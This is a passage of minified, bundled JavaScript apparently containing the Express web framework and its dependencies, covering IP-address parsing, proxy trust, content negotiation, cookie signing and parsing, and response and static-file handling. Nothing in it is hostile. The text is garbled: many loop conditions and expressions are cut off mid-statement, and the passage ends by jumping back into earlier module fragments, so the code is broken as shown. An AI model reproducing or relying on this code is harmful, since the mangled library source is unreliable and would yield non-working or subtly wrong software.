ipv6 part count should be 8 or 16");for(h=this.parts,g=0,b=h.length;gd&&(l=f.index,d=f[0].length);return d<0?g:g.substring(0,l)+"::"+g.substring(l+d)},u.prototype.toByteArray=function(){var l,d,f,m,g;for(l=[],g=this.parts,d=0,f=g.length;d>8),l.push(m&255);return l},u.prototype.toNormalizedString=function(){var l,d,f;return l=(function(){var m,g,b,p;for(b=this.parts,p=[],m=0,g=b.length;m>8,l&255,d>>8,d&255])},u.prototype.prefixLengthFromSubnetMask=function(){var l,d,f,m,g,b,p;for(p={0:16,32768:15,49152:14,57344:13,61440:12,63488:11,64512:10,65024:9,65280:8,65408:7,65472:6,65504:5,65520:4,65528:3,65532:2,65534:1,65535:0},l=0,g=!1,d=f=7;f>=0;d=f+=-1)if(m=this.parts[d],m in p){if(b=p[m],g&&b!==0)return null;b!==16&&(g=!0),l+=b}else return null;return 128-l},u})(),a="(?:[0-9a-f]+::?)+",c="%[0-9a-z]{1,}",s={zoneIndex:new RegExp(c,"i"),native:new RegExp("^(::)?("+a+")?([0-9a-f]+)?(::)?("+c+")?$","i"),transitional:new RegExp("^((?:"+a+")|(?:::)(?:"+a+")?)"+(r+"\\."+r+"\\."+r+"\\."+r)+("("+c+")?$"),"i")},t=function(u,l){var d,f,m,g,b,p;if(u.indexOf("::")!==u.lastIndexOf("::"))return null;for(p=(u.match(s.zoneIndex)||[])[0],p&&(p=p.substring(1),u=u.replace(/%.+$/,"")),d=0,f=-1;(f=u.indexOf(":",f+1))>=0;)d++;if(u.substr(0,2)==="::"&&d--,u.substr(-2,2)==="::"&&d--,d>l)return null;for(b=l-d,g=":";b--;)g+="0:";return u=u.replace("::",g),u[0]===":"&&(u=u.slice(1)),u[u.length-1]===":"&&(u=u.slice(0,-1)),l=(function(){var h,y,v,_;for(v=u.split(":"),_=[],h=0,y=v.length;h=0&&l<=32))return f=[this.parse(d[1]),l],Object.defineProperty(f,"toString",{value:function(){return this.join("/")}}),f;throw new Error("ipaddr: string is not formatted like an IPv4 CIDR range")},e.IPv4.subnetMaskFromPrefixLength=function(u){var l,d,f;if(u=parseInt(u),u<0||u>32)throw new Error("ipaddr: invalid IPv4 prefix length");for(f=[0,0,0,0],d=0,l=Math.floor(u/8);d=0&&l<=128))return f=[this.parse(d[1]),l],Object.defineProperty(f,"toString",{value:function(){return this.join("/")}}),f;throw new Error("ipaddr: string is not formatted like an IPv6 CIDR range")},e.isValid=function(u){return e.IPv6.isValid(u)||e.IPv4.isValid(u)},e.parse=function(u){if(e.IPv6.isValid(u))return e.IPv6.parse(u);if(e.IPv4.isValid(u))return e.IPv4.parse(u);throw new Error("ipaddr: the address has neither IPv6 nor IPv4 format")},e.parseCIDR=function(u){var l;try{return e.IPv6.parseCIDR(u)}catch(d){l=d;try{return e.IPv4.parseCIDR(u)}catch(f){throw l=f,new Error("ipaddr: the address has neither IPv6 nor IPv4 CIDR format")}}},e.fromByteArray=function(u){var l;if(l=u.length,l===4)return new e.IPv4(u);if(l===16)return new e.IPv6(u);throw new Error("ipaddr: the binary input is neither an IPv6 nor IPv4 address")},e.process=function(u){var l;return l=this.parse(u),l.kind()==="ipv6"&&l.isIPv4MappedAddress()?l.toIPv4Address():l}}).call(e0)});var Op=V((qW,Fc)=>{"use strict";Fc.exports=kj;Fc.exports.all=n0;Fc.exports.compile=s0;var bj=Qb(),a0=t0(),xj=/^[0-9]+$/,qc=a0.isValid,Lc=a0.parse,r0={linklocal:["169.254.0.0/16","fe80::/10"],loopback:["127.0.0.1/8","::1/128"],uniquelocal:["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","fc00::/7"]};function n0(t,e){var r=bj(t);if(!e)return r;typeof e!="function"&&(e=s0(e));for(var n=0;na)throw new TypeError("invalid range on address: "+t);return[n,s]}function Tj(t){var e=Lc(t),r=e.kind();return r==="ipv4"?e.prefixLengthFromSubnetMask():null}function kj(t,e){if(!t)throw new TypeError("req argument is required");if(!e)throw new TypeError("trust argument is required");var r=n0(t,e),n=r[r.length-1];return n}function Rj(){return!1}function $j(t){return function(r){if(!qc(r))return!1;for(var n=Lc(r),a,s=n.kind(),i=0;i{"use strict";var i0=Ic().Buffer,Oj=bp(),o0=gi(),c0=zr()("express"),Cj=Bi(),Ij=Dc().mime,Aj=xp(),Nj=Op(),jj=wc(),Mj=require("querystring");Wt.etag=u0({weak:!1});Wt.wetag=u0({weak:!0});Wt.isAbsolute=function(t){if(t[0]==="/"||t[1]===":"&&(t[2]==="\\"||t[2]==="/")||t.substring(0,2)==="\\\\")return!0};Wt.flatten=c0.function(Cj,"utils.flatten: use array-flatten npm module instead");Wt.normalizeType=function(t){return~t.indexOf("/")?Dj(t):{value:Ij.lookup(t),params:{}}};Wt.normalizeTypes=function(t){for(var e=[],r=0;r{"use strict";var Fj=B_(),zj=vp(),Ip=Rc(),Uj=vb(),Hj=gp(),zc=pr()("express:application"),Bj=wb(),Vj=require("http"),Wj=$a().compileETag,Zj=$a().compileQueryParser,Gj=$a().compileTrust,Kj=zr()("express"),Xj=Bi(),Cp=Vi(),Jj=require("path").resolve,_s=yi(),Yj=Object.prototype.hasOwnProperty,Np=Array.prototype.slice,Pt=l0=d0.exports={},Ap="@@symbol:trust_proxy_default";Pt.init=function(){this.cache={},this.engines={},this.settings={},this.defaultConfiguration()};Pt.defaultConfiguration=function(){var e=process.env.NODE_ENV||"development";this.enable("x-powered-by"),this.set("etag","weak"),this.set("env",e),this.set("query parser","extended"),this.set("subdomain offset",2),this.set("trust proxy",!1),Object.defineProperty(this.settings,Ap,{configurable:!0,value:!0}),zc("booting in %s mode",e),this.on("mount",function(n){this.settings[Ap]===!0&&typeof n.settings["trust proxy fn"]=="function"&&(delete this.settings["trust proxy"],delete this.settings["trust proxy fn"]),_s(this.request,n.request),_s(this.response,n.response),_s(this.engines,n.engines),_s(this.settings,n.settings)}),this.locals=Object.create(null),this.mountpath="/",this.locals.settings=this.settings,this.set("view",Bj),this.set("views",Jj("views")),this.set("jsonp callback name","callback"),e==="production"&&this.enable("view cache"),Object.defineProperty(this,"router",{get:function(){throw new Error(`'app.router' is deprecated! -Please see the 3.x to 4.x migration guide for details on how to update your app.`)}})};Pt.lazyrouter=function(){this._router||(this._router=new zj({caseSensitive:this.enabled("case sensitive routing"),strict:this.enabled("strict routing")}),this._router.use(Hj(this.get("query parser fn"))),this._router.use(Uj.init(this)))};Pt.handle=function(e,r,n){var a=this._router,s=n||Fj(e,r,{env:this.get("env"),onerror:Qj.bind(this)});if(!a){zc("no routes defined on app"),s();return}a.handle(e,r,s)};Pt.use=function(e){var r=0,n="/";if(typeof e!="function"){for(var a=e;Array.isArray(a)&&a.length!==0;)a=a[0];typeof a!="function"&&(r=1,n=e)}var s=Xj(Np.call(arguments,r));if(s.length===0)throw new TypeError("app.use() requires a middleware function");this.lazyrouter();var i=this._router;return s.forEach(function(o){if(!o||!o.handle||!o.set)return i.use(n,o);zc(".use app under %s",n),o.mountpath=n,o.parent=this,i.use(n,function(u,l,d){var f=u.app;o.handle(u,l,function(m){_s(u,f.request),_s(l,f.response),d(m)})}),o.emit("mount",this)},this),this};Pt.route=function(e){return this.lazyrouter(),this._router.route(e)};Pt.engine=function(e,r){if(typeof r!="function")throw new Error("callback function required");var n=e[0]!=="."?"."+e:e;return this.engines[n]=r,this};Pt.param=function(e,r){if(this.lazyrouter(),Array.isArray(e)){for(var n=0;n1?'directories "'+u.root.slice(0,-1).join('", "')+'" or "'+u.root[u.root.length-1]+'"':'directory "'+u.root+'"',f=new Error('Failed to lookup view "'+e+'" in views '+d);return f.view=u,s(f)}c.cache&&(a[e]=u)}e4(u,c,s)};Pt.listen=function(){var e=Vj.createServer(this);return e.listen.apply(e,arguments)};function Qj(t){this.get("env")!=="test"&&console.error(t.stack||t.toString())}function e4(t,e,r){try{t.render(e,r)}catch(n){r(n)}}});var v0=V((FW,jp)=>{"use strict";jp.exports=h0;jp.exports.preferredCharsets=h0;var t4=/^\s*([^\s;]+)\s*(?:;(.*))?$/;function r4(t){for(var e=t.split(","),r=0,n=0;r0}});var x0=V((zW,Mp)=>{"use strict";Mp.exports=b0;Mp.exports.preferredEncodings=b0;var o4=/^\s*([^\s;]+)\s*(?:;(.*))?$/;function c4(t){for(var e=t.split(","),r=!1,n=1,a=0,s=0;a0}});var k0=V((UW,Dp)=>{"use strict";Dp.exports=T0;Dp.exports.preferredLanguages=T0;var p4=/^\s*([^\s\-;]+)(?:-([^\s;]+))?\s*(?:;(.*))?$/;function f4(t){for(var e=t.split(","),r=0,n=0;r0}});var I0=V((HW,qp)=>{"use strict";qp.exports=O0;qp.exports.preferredMediaTypes=O0;var g4=/^\s*([^\s\/;]+)\/([^;\s]+)\s*(?:;(.*))?$/;function y4(t){for(var e=S4(t),r=0,n=0;r0)if(s.every(function(i){return e.params[i]=="*"||(e.params[i]||"").toLowerCase()==(n.params[i]||"").toLowerCase()}))a|=1;else return null;return{i:r,o:e.i,q:e.q,s:a}}function O0(t,e){var r=y4(t===void 0?"*/*":t||"");if(!e)return r.filter($0).sort(R0).map(x4);var n=e.map(function(s,i){return _4(s,r,i)});return n.filter($0).sort(R0).map(function(s){return e[n.indexOf(s)]})}function R0(t,e){return e.q-t.q||e.s-t.s||t.o-e.o||t.i-e.i||0}function x4(t){return t.type+"/"+t.subtype}function $0(t){return t.q>0}function C0(t){for(var e=0,r=0;(r=t.indexOf('"',r))!==-1;)e++,r++;return e}function w4(t){var e=t.indexOf("="),r,n;return e===-1?r=t:(r=t.substr(0,e),n=t.substr(e+1)),[r,n]}function S4(t){for(var e=t.split(","),r=1,n=0;r{"use strict";var T4=v0(),k4=x0(),R4=k0(),$4=I0();Lp.exports=at;Lp.exports.Negotiator=at;function at(t){if(!(this instanceof at))return new at(t);this.request=t}at.prototype.charset=function(e){var r=this.charsets(e);return r&&r[0]};at.prototype.charsets=function(e){return T4(this.request.headers["accept-charset"],e)};at.prototype.encoding=function(e){var r=this.encodings(e);return r&&r[0]};at.prototype.encodings=function(e){return k4(this.request.headers["accept-encoding"],e)};at.prototype.language=function(e){var r=this.languages(e);return r&&r[0]};at.prototype.languages=function(e){return R4(this.request.headers["accept-language"],e)};at.prototype.mediaType=function(e){var r=this.mediaTypes(e);return r&&r[0]};at.prototype.mediaTypes=function(e){return $4(this.request.headers.accept,e)};at.prototype.preferredCharset=at.prototype.charset;at.prototype.preferredCharsets=at.prototype.charsets;at.prototype.preferredEncoding=at.prototype.encoding;at.prototype.preferredEncodings=at.prototype.encodings;at.prototype.preferredLanguage=at.prototype.language;at.prototype.preferredLanguages=at.prototype.languages;at.prototype.preferredMediaType=at.prototype.mediaType;at.prototype.preferredMediaTypes=at.prototype.mediaTypes});var j0=V((VW,N0)=>{"use strict";var P4=A0(),O4=jd();N0.exports=or;function or(t){if(!(this instanceof or))return new or(t);this.headers=t.headers,this.negotiator=new P4(t)}or.prototype.type=or.prototype.types=function(t){var e=t;if(e&&!Array.isArray(e)){e=new Array(arguments.length);for(var r=0;r{"use strict";var Uc=j0(),Ki=zr()("express"),A4=require("net").isIP,N4=as(),j4=require("http"),M4=wp(),D4=Sp(),q4=ds(),M0=Op(),st=Object.create(j4.IncomingMessage.prototype);D0.exports=st;st.get=st.header=function(e){if(!e)throw new TypeError("name argument is required to req.get");if(typeof e!="string")throw new TypeError("name must be a string to req.get");var r=e.toLowerCase();switch(r){case"referer":case"referrer":return this.headers.referrer||this.headers.referer;default:return this.headers[r]}};st.accepts=function(){var t=Uc(this);return t.types.apply(t,arguments)};st.acceptsEncodings=function(){var t=Uc(this);return t.encodings.apply(t,arguments)};st.acceptsEncoding=Ki.function(st.acceptsEncodings,"req.acceptsEncoding: Use acceptsEncodings instead");st.acceptsCharsets=function(){var t=Uc(this);return t.charsets.apply(t,arguments)};st.acceptsCharset=Ki.function(st.acceptsCharsets,"req.acceptsCharset: Use acceptsCharsets instead");st.acceptsLanguages=function(){var t=Uc(this);return t.languages.apply(t,arguments)};st.acceptsLanguage=Ki.function(st.acceptsLanguages,"req.acceptsLanguage: Use acceptsLanguages instead");st.range=function(e,r){var n=this.get("Range");if(n)return D4(e,n,r)};st.param=function(e,r){var n=this.params||{},a=this.body||{},s=this.query||{},i=arguments.length===1?"name":"name, default";return Ki("req.param("+i+"): Use req.params, req.body, or req.query instead"),n[e]!=null&&n.hasOwnProperty(e)?n[e]:a[e]!=null?a[e]:s[e]!=null?s[e]:r};st.is=function(e){var r=e;if(!Array.isArray(e)){r=new Array(arguments.length);for(var n=0;n=200&&r<300||r===304?M4(this.headers,{etag:e.get("ETag"),"last-modified":e.get("Last-Modified")}):!1});Cr(st,"stale",function(){return!this.fresh});Cr(st,"xhr",function(){var e=this.get("X-Requested-With")||"";return e.toLowerCase()==="xmlhttprequest"});function Cr(t,e,r){Object.defineProperty(t,e,{configurable:!0,enumerable:!0,get:r})}});var z0=V(Hc=>{var F0=require("crypto");Hc.sign=function(t,e){if(typeof t!="string")throw new TypeError("Cookie value must be provided as a string.");if(typeof e!="string")throw new TypeError("Secret string must be provided.");return t+"."+F0.createHmac("sha256",e).update(t).digest("base64").replace(/\=+$/,"")};Hc.unsign=function(t,e){if(typeof t!="string")throw new TypeError("Signed cookie string must be provided.");if(typeof e!="string")throw new TypeError("Secret string must be provided.");var r=t.slice(0,t.lastIndexOf(".")),n=Hc.sign(r,e);return L0(n)==L0(t)?r:!1};function L0(t){return F0.createHash("sha1").update(t).digest("hex")}});var B0=V(Fp=>{"use strict";Fp.parse=B4;Fp.serialize=V4;var L4=Object.prototype.toString,F4=/^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/,z4=/^("?)[\u0021\u0023-\u002B\u002D-\u003A\u003C-\u005B\u005D-\u007E]*\1$/,U4=/^([.]?[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)([.][a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/i,H4=/^[\u0020-\u003A\u003D-\u007E]*$/;function B4(t,e){if(typeof t!="string")throw new TypeError("argument str must be a string");var r={},n=t.length;if(n<2)return r;var a=e&&e.decode||W4,s=0,i=0,o=0;do{if(i=t.indexOf("=",s),i===-1)break;if(o=t.indexOf(";",s),o===-1)o=n;else if(i>o){s=t.lastIndexOf(";",i-1)+1;continue}var c=U0(t,s,i),u=H0(t,i,c),l=t.slice(c,u);if(!r.hasOwnProperty(l)){var d=U0(t,i+1,o),f=H0(t,o,d);t.charCodeAt(d)===34&&t.charCodeAt(f-1)===34&&(d++,f--);var m=t.slice(d,f);r[l]=G4(m,a)}s=o+1}while(sr;){var n=t.charCodeAt(--e);if(n!==32&&n!==9)return e+1}return r}function V4(t,e,r){var n=r&&r.encode||encodeURIComponent;if(typeof n!="function")throw new TypeError("option encode is invalid");if(!F4.test(t))throw new TypeError("argument name is invalid");var a=n(e);if(!z4.test(a))throw new TypeError("argument val is invalid");var s=t+"="+a;if(!r)return s;if(r.maxAge!=null){var i=Math.floor(r.maxAge);if(!isFinite(i))throw new TypeError("option maxAge is invalid");s+="; Max-Age="+i}if(r.domain){if(!U4.test(r.domain))throw new TypeError("option domain is invalid");s+="; Domain="+r.domain}if(r.path){if(!H4.test(r.path))throw new TypeError("option path is invalid");s+="; Path="+r.path}if(r.expires){var o=r.expires;if(!Z4(o)||isNaN(o.valueOf()))throw new TypeError("option expires is invalid");s+="; Expires="+o.toUTCString()}if(r.httpOnly&&(s+="; HttpOnly"),r.secure&&(s+="; Secure"),r.partitioned&&(s+="; Partitioned"),r.priority){var c=typeof r.priority=="string"?r.priority.toLowerCase():r.priority;switch(c){case"low":s+="; Priority=Low";break;case"medium":s+="; Priority=Medium";break;case"high":s+="; Priority=High";break;default:throw new TypeError("option priority is invalid")}}if(r.sameSite){var u=typeof r.sameSite=="string"?r.sameSite.toLowerCase():r.sameSite;switch(u){case!0:s+="; SameSite=Strict";break;case"lax":s+="; SameSite=Lax";break;case"strict":s+="; SameSite=Strict";break;case"none":s+="; SameSite=None";break;default:throw new TypeError("option sameSite is invalid")}}return s}function W4(t){return t.indexOf("%")!==-1?decodeURIComponent(t):t}function Z4(t){return L4.call(t)==="[object Date]"}function G4(t,e){try{return e(t)}catch{return t}}});var Up=V((KW,zp)=>{"use strict";zp.exports=X4;zp.exports.append=W0;var K4=/^[!#$%&'*+\-.^_`|~0-9A-Za-z]+$/;function W0(t,e){if(typeof t!="string")throw new TypeError("header argument is required");if(!e)throw new TypeError("field argument is required");for(var r=Array.isArray(e)?e:V0(String(e)),n=0;n{"use strict";var Xi=Ic().Buffer,Z0=bp(),J4=Ka(),Xt=zr()("express"),Y4=Tc(),Q4=Hi(),e2=require("http"),t2=$a().isAbsolute,r2=$i(),G0=require("path"),Bc=_i(),K0=Vi(),a2=z0().sign,n2=$a().normalizeType,s2=$a().normalizeTypes,i2=$a().setCharset,o2=B0(),Hp=Dc(),c2=G0.extname,X0=Hp.mime,u2=G0.resolve,l2=Up(),it=Object.create(e2.ServerResponse.prototype);Q0.exports=it;var d2=/;\s*charset\s*=/;it.status=function(e){return(typeof e=="string"||Math.floor(e)!==e)&&e>99&&e<1e3&&Xt("res.status("+JSON.stringify(e)+"): use res.status("+Math.floor(e)+") instead"),this.statusCode=e,this};it.links=function(t){var e=this.get("Link")||"";return e&&(e+=", "),this.set("Link",e+Object.keys(t).map(function(r){return"<"+t[r]+'>; rel="'+r+'"'}).join(", "))};it.send=function(e){var r=e,n,a=this.req,s,i=this.app;switch(arguments.length===2&&(typeof arguments[0]!="number"&&typeof arguments[1]=="number"?(Xt("res.send(body, status): Use res.status(status).send(body) instead"),this.statusCode=arguments[1]):(Xt("res.send(status, body): Use res.status(status).send(body) instead"),this.statusCode=arguments[0],r=arguments[1])),typeof r=="number"&&arguments.length===1&&(this.get("Content-Type")||this.type("txt"),Xt("res.send(status): Use res.sendStatus(status) instead"),this.statusCode=r,r=Bc.message[r]),typeof r){case"string":this.get("Content-Type")||this.type("html");break;case"boolean":case"number":case"object":if(r===null)r="";else if(Xi.isBuffer(r))this.get("Content-Type")||this.type("bin");else return this.json(r);break}typeof r=="string"&&(n="utf8",s=this.get("Content-Type"),typeof s=="string"&&this.set("Content-Type",i2(s,"utf-8")));var o=i.get("etag fn"),c=!this.get("ETag")&&typeof o=="function",u;r!==void 0&&(Xi.isBuffer(r)?u=r.length:!c&&r.length<1e3?u=Xi.byteLength(r,n):(r=Xi.from(r,n),n=void 0,u=r.length),this.set("Content-Length",u));var l;return c&&u!==void 0&&(l=o(r,n))&&this.set("ETag",l),a.fresh&&(this.statusCode=304),(this.statusCode===204||this.statusCode===304)&&(this.removeHeader("Content-Type"),this.removeHeader("Content-Length"),this.removeHeader("Transfer-Encoding"),r=""),this.statusCode===205&&(this.set("Content-Length","0"),this.removeHeader("Transfer-Encoding"),r=""),a.method==="HEAD"?this.end():this.end(r,n),this};it.json=function(e){var r=e;arguments.length===2&&(typeof arguments[1]=="number"?(Xt("res.json(obj, status): Use res.status(status).json(obj) instead"),this.statusCode=arguments[1]):(Xt("res.json(status, obj): Use res.status(status).json(obj) instead"),this.statusCode=arguments[0],r=arguments[1]));var n=this.app,a=n.get("json escape"),s=n.get("json replacer"),i=n.get("json spaces"),o=Y0(r,s,i,a);return this.get("Content-Type")||this.set("Content-Type","application/json"),this.send(o)};it.jsonp=function(e){var r=e;arguments.length===2&&(typeof arguments[1]=="number"?(Xt("res.jsonp(obj, status): Use res.status(status).jsonp(obj) instead"),this.statusCode=arguments[1]):(Xt("res.jsonp(status, obj): Use res.status(status).jsonp(obj) instead"),this.statusCode=arguments[0],r=arguments[1]));var n=this.app,a=n.get("json escape"),s=n.get("json replacer"),i=n.get("json spaces"),o=Y0(r,s,i,a),c=this.req.query[n.get("jsonp callback name")];return this.get("Content-Type")||(this.set("X-Content-Type-Options","nosniff"),this.set("Content-Type","application/json")),Array.isArray(c)&&(c=c[0]),typeof c=="string"&&c.length!==0&&(this.set("X-Content-Type-Options","nosniff"),this.set("Content-Type","text/javascript"),c=c.replace(/[^\[\]\w$.]/g,""),o===void 0?o="":typeof o=="string"&&(o=o.replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029")),o="/**/ typeof "+c+" === 'function' && "+c+"("+o+");"),this.send(o)};it.sendStatus=function(e){var r=Bc.message[e]||String(e);return this.statusCode=e,this.type("txt"),this.send(r)};it.sendFile=function(e,r,n){var a=n,s=this.req,i=this,o=s.next,c=r||{};if(!e)throw new TypeError("path argument is required to res.sendFile");if(typeof e!="string")throw new TypeError("path must be a string to res.sendFile");if(typeof r=="function"&&(a=r,c={}),!c.root&&!t2(e))throw new TypeError("path must be absolute or specify root to res.sendFile");var u=encodeURI(e),l=Hp(s,u,c);J0(i,l,c,function(d){if(a)return a(d);if(d&&d.code==="EISDIR")return o();d&&d.code!=="ECONNABORTED"&&d.syscall!=="write"&&o(d)})};it.sendfile=function(t,e,r){var n=r,a=this.req,s=this,i=a.next,o=e||{};typeof e=="function"&&(n=e,o={});var c=Hp(a,t,o);J0(s,c,o,function(u){if(n)return n(u);if(u&&u.code==="EISDIR")return i();u&&u.code!=="ECONNABORTED"&&u.syscall!=="write"&&i(u)})};it.sendfile=Xt.function(it.sendfile,"res.sendfile: Use res.sendFile instead");it.download=function(e,r,n,a){var s=a,i=r,o=n||null;typeof r=="function"?(s=r,i=null,o=null):typeof n=="function"&&(s=n,o=null),typeof r=="object"&&(typeof n=="function"||n===void 0)&&(i=null,o=r);var c={"Content-Disposition":Z0(i||e)};if(o&&o.headers)for(var u=Object.keys(o.headers),l=0;l0?e.accepts(n):!1;return this.vary("Accept"),a?(this.set("Content-Type",n2(a).value),t[a](e,this,r)):t.default?t.default(e,this,r):r(J4(406,{types:s2(n).map(function(s){return s.value})})),this};it.attachment=function(e){return e&&this.type(c2(e)),this.set("Content-Disposition",Z0(e)),this};it.append=function(e,r){var n=this.get(e),a=r;return n&&(a=Array.isArray(n)?n.concat(r):Array.isArray(r)?[n].concat(r):[n,r]),this.set(e,a)};it.set=it.header=function(e,r){if(arguments.length===2){var n=Array.isArray(r)?r.map(String):String(r);if(e.toLowerCase()==="content-type"){if(Array.isArray(n))throw new TypeError("Content-Type cannot be set to an Array");if(!d2.test(n)){var a=X0.charsets.lookup(n.split(";")[0]);a&&(n+="; charset="+a.toLowerCase())}}this.setHeader(e,n)}else for(var s in e)this.set(s,e[s]);return this};it.get=function(t){return this.getHeader(t)};it.clearCookie=function(e,r){r&&(r.maxAge&&Xt('res.clearCookie: Passing "options.maxAge" is deprecated. In v5.0.0 of Express, this option will be ignored, as res.clearCookie will automatically set cookies to expire immediately. Please update your code to omit this option.'),r.expires&&Xt('res.clearCookie: Passing "options.expires" is deprecated. In v5.0.0 of Express, this option will be ignored, as res.clearCookie will automatically set cookies to expire immediately. Please update your code to omit this option.'));var n=K0({expires:new Date(1),path:"/"},r);return this.cookie(e,"",n)};it.cookie=function(t,e,r){var n=K0({},r),a=this.req.secret,s=n.signed;if(s&&!a)throw new Error('cookieParser("secret") required for signed cookies');var i=typeof e=="object"?"j:"+JSON.stringify(e):String(e);if(s&&(i="s:"+a2(i,a)),n.maxAge!=null){var o=n.maxAge-0;isNaN(o)||(n.expires=new Date(Date.now()+o),n.maxAge=Math.floor(o/1e3))}return n.path==null&&(n.path="/"),this.append("Set-Cookie",o2.serialize(t,String(i),n)),this};it.location=function(e){var r;return e==="back"?(Xt('res.location("back"): use res.location(req.get("Referrer") || "/") and refer to https://dub.sh/security-redirect for best practices'),r=this.req.get("Referrer")||"/"):r=String(e),this.set("Location",Y4(r))};it.redirect=function(e){var r=e,n,a=302;arguments.length===2&&(typeof arguments[0]=="number"?(a=arguments[0],r=arguments[1]):(Xt("res.redirect(url, status): Use res.redirect(status, url) instead"),a=arguments[1])),r=this.location(r).get("Location"),this.format({text:function(){n=Bc.message[a]+". Redirecting to "+r},html:function(){var s=Q4(r);n="

"+Bc.message[a]+". Redirecting to "+s+"

"},default:function(){n=""}}),this.statusCode=a,this.set("Content-Length",Xi.byteLength(n)),this.req.method==="HEAD"?this.end():this.end(n)};it.vary=function(t){return!t||Array.isArray(t)&&!t.length?(Xt("res.vary(): Provide a field name"),this):(l2(this,t),this)};it.render=function(e,r,n){var a=this.req.app,s=n,i=r||{},o=this.req,c=this;typeof r=="function"&&(s=r,i={}),i._locals=c.locals,s=s||function(u,l){if(u)return o.next(u);c.send(l)},a.render(e,i,s)};function J0(t,e,r,n){var a=!1,s;function i(){if(!a){a=!0;var m=new Error("Request aborted");m.code="ECONNABORTED",n(m)}}function o(){if(!a){a=!0;var m=new Error("EISDIR, read");m.code="EISDIR",n(m)}}function c(m){a||(a=!0,n(m))}function u(){a||(a=!0,n())}function l(){s=!1}function d(m){if(m&&m.code==="ECONNRESET")return i();if(m)return c(m);a||setImmediate(function(){if(s!==!1&&!a){i();return}a||(a=!0,n())})}function f(){s=!0}e.on("directory",o),e.on("end",u),e.on("error",c),e.on("file",l),e.on("stream",f),r2(t,d),r.headers&&e.on("headers",function(g){for(var b=r.headers,p=Object.keys(b),h=0;h&]/g,function(s){switch(s.charCodeAt(0)){case 60:return"\\u003c";case 62:return"\\u003e";case 38:return"\\u0026";default:return s}})),a}});var rx=V((JW,Vp)=>{"use strict";var p2=Tc(),f2=Hi(),Bp=ds(),m2=require("path").resolve,tx=Dc(),h2=require("url");Vp.exports=v2;Vp.exports.mime=tx.mime;function v2(t,e){if(!t)throw new TypeError("root path required");if(typeof t!="string")throw new TypeError("root path must be a string");var r=Object.create(e||null),n=r.fallthrough!==!1,a=r.redirect!==!1,s=r.setHeaders;if(s&&typeof s!="function")throw new TypeError("option setHeaders must be function");r.maxage=r.maxage||r.maxAge||0,r.root=m2(t);var i=a?b2():_2();return function(c,u,l){if(c.method!=="GET"&&c.method!=="HEAD"){if(n)return l();u.statusCode=405,u.setHeader("Allow","GET, HEAD"),u.setHeader("Content-Length","0"),u.end();return}var d=!n,f=Bp.original(c),m=Bp(c).pathname;m==="/"&&f.pathname.substr(-1)!=="/"&&(m="");var g=tx(c,m,r);g.on("directory",i),s&&g.on("headers",s),n&&g.on("file",function(){d=!0}),g.on("error",function(p){if(d||!(p.statusCode<500)){l(p);return}l()}),g.pipe(u)}}function g2(t){for(var e=0;e1?"/"+t.substr(e):t}function y2(t,e){return` +`}function wj(t,e){return e?e instanceof Error?kp(t,e,{expose:!1}):kp(t,e):kp(t)}function Sj(t){try{return decodeURIComponent(t)}catch{return-1}}function Ej(t){return typeof t.getHeaderNames!="function"?Object.keys(t._headers||{}):t.getHeaderNames()}function Yb(t,e){var r=typeof t.listenerCount!="function"?t.listeners(e).length:t.listenerCount(e);return r>0}function Tj(t){return typeof t.headersSent!="boolean"?!!t._header:t.headersSent}function Pp(t,e){for(var r=[].concat(t||[]),n=0;n{"use strict";Qb.exports=Rj;function Rj(t){if(!t)throw new TypeError("argument req is required");var e=Oj(t.headers["x-forwarded-for"]||""),r=Pj(t),n=[r].concat(e);return n}function Pj(t){return t.socket?t.socket.remoteAddress:t.connection.remoteAddress}function Oj(t){for(var e=t.length,r=[],n=t.length,a=t.length-1;a>=0;a--)switch(t.charCodeAt(a)){case 32:n===e&&(n=e=a);break;case 44:n!==e&&r.push(t.substring(n,e)),n=e=a;break;default:n=a;break}return n!==e&&r.push(t.substring(n,e)),r}});var r0=V((t0,Xi)=>{(function(){var t,e,r,n,a,s,i,o,c;e={},o=this,typeof Xi<"u"&&Xi!==null&&Xi.exports?Xi.exports=e:o.ipaddr=e,i=function(u,l,d,f){var m,g;if(u.length!==l.length)throw new Error("ipaddr: cannot match CIDR for objects with different lengths");for(m=0;f>0;){if(g=d-f,g<0&&(g=0),u[m]>>g!==l[m]>>g)return!1;f-=d,m+=1}return!0},e.subnetMatch=function(u,l,d){var f,m,g,b,p;d==null&&(d="unicast");for(g in l)for(b=l[g],b[0]&&!(b[0]instanceof Array)&&(b=[b]),f=0,m=b.length;f=0;d=f+=-1)if(m=this.octets[d],m in p){if(b=p[m],g&&b!==0)return null;b!==8&&(g=!0),l+=b}else return null;return 32-l},u})(),r="(0?\\d+|0x[a-f0-9]+)",n={fourOctet:new RegExp("^"+r+"\\."+r+"\\."+r+"\\."+r+"$","i"),longValue:new RegExp("^"+r+"$","i")},e.IPv4.parser=function(u){var l,d,f,m,g;if(d=function(b){return b[0]==="0"&&b[1]!=="x"?parseInt(b,8):parseInt(b)},l=u.match(n.fourOctet))return(function(){var b,p,h,y;for(h=l.slice(1,6),y=[],b=0,p=h.length;b4294967295||g<0)throw new Error("ipaddr: address outside defined range");return(function(){var b,p;for(p=[],m=b=0;b<=24;m=b+=8)p.push(g>>m&255);return p})().reverse()}else return null},e.IPv6=(function(){function u(l,d){var f,m,g,b,p,h;if(l.length===16)for(this.parts=[],f=m=0;m<=14;f=m+=2)this.parts.push(l[f]<<8|l[f+1]);else if(l.length===8)this.parts=l;else throw new Error("ipaddr: ipv6 part count should be 8 or 16");for(h=this.parts,g=0,b=h.length;gd&&(l=f.index,d=f[0].length);return d<0?g:g.substring(0,l)+"::"+g.substring(l+d)},u.prototype.toByteArray=function(){var l,d,f,m,g;for(l=[],g=this.parts,d=0,f=g.length;d>8),l.push(m&255);return l},u.prototype.toNormalizedString=function(){var l,d,f;return l=(function(){var m,g,b,p;for(b=this.parts,p=[],m=0,g=b.length;m>8,l&255,d>>8,d&255])},u.prototype.prefixLengthFromSubnetMask=function(){var l,d,f,m,g,b,p;for(p={0:16,32768:15,49152:14,57344:13,61440:12,63488:11,64512:10,65024:9,65280:8,65408:7,65472:6,65504:5,65520:4,65528:3,65532:2,65534:1,65535:0},l=0,g=!1,d=f=7;f>=0;d=f+=-1)if(m=this.parts[d],m in p){if(b=p[m],g&&b!==0)return 